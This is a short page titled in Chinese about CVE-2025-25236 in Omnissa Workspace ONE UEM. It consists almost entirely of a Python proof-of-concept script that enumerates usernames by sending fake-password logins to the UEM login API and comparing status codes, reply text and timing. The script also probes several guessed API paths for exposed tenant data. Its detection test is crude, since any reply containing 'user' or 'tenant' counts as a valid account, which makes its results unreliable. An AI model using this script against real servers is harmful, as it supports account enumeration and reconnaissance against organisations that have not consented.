CVE-2025-25236: Omnissa Workspace ONE UEM 可观察响应差异信息泄露漏洞

# CVE-2025-25236 PoC - Workspace ONE UEM User Enumeration # This PoC demonstrates the observable response discrepancy vulnerability import requests import time import re TARGET_URL = "https://[Workspace ONE UEM Host]/api/v1/auth/login" def test_user_enumeration(username_list): """Test for user enumeration vulnerability by observing response differences""" results = [] for username in username_list: payload = { "username": username, "password": "fake_password_for_testing" } # Measure response time start_time = time.time() response = requests.post(TARGET_URL, json=payload, timeout=10) end_time = time.time() response_time = end_time - start_time result = { "username": username, "status_code": response.status_code, "response_time": response_time, "response_body": response.text[:200], "has_user": False } # Analyze response for differences that indicate valid user # Valid users may have different error messages, response times, or headers if "tenant" in response.text.lower() or "user" in response.text.lower(): result["has_user"] = True results.append(result) return results def check_tenant_enumeration(): """Check for tenant ID enumeration via API endpoints""" tenant_endpoints = [ "/api/v1/tenant/info", "/api/v1/system/configuration", "/api/v1/users/current" ] for endpoint in tenant_endpoints: try: response = requests.get(TARGET_URL.rsplit('/', 1)[0] + endpoint) if response.status_code == 200 and "tenant" in response.text.lower(): print(f"[+] Tenant info exposed at {endpoint}") except: pass # Example usage if __name__ == "__main__": test_users = ["admin", "user", "test", "administrator", "guest"] results = test_user_enumeration(test_users) for r in results: print(f"User: {r['username']}, Time: {r['response_time']:.3f}s, Status: {r['status_code']}")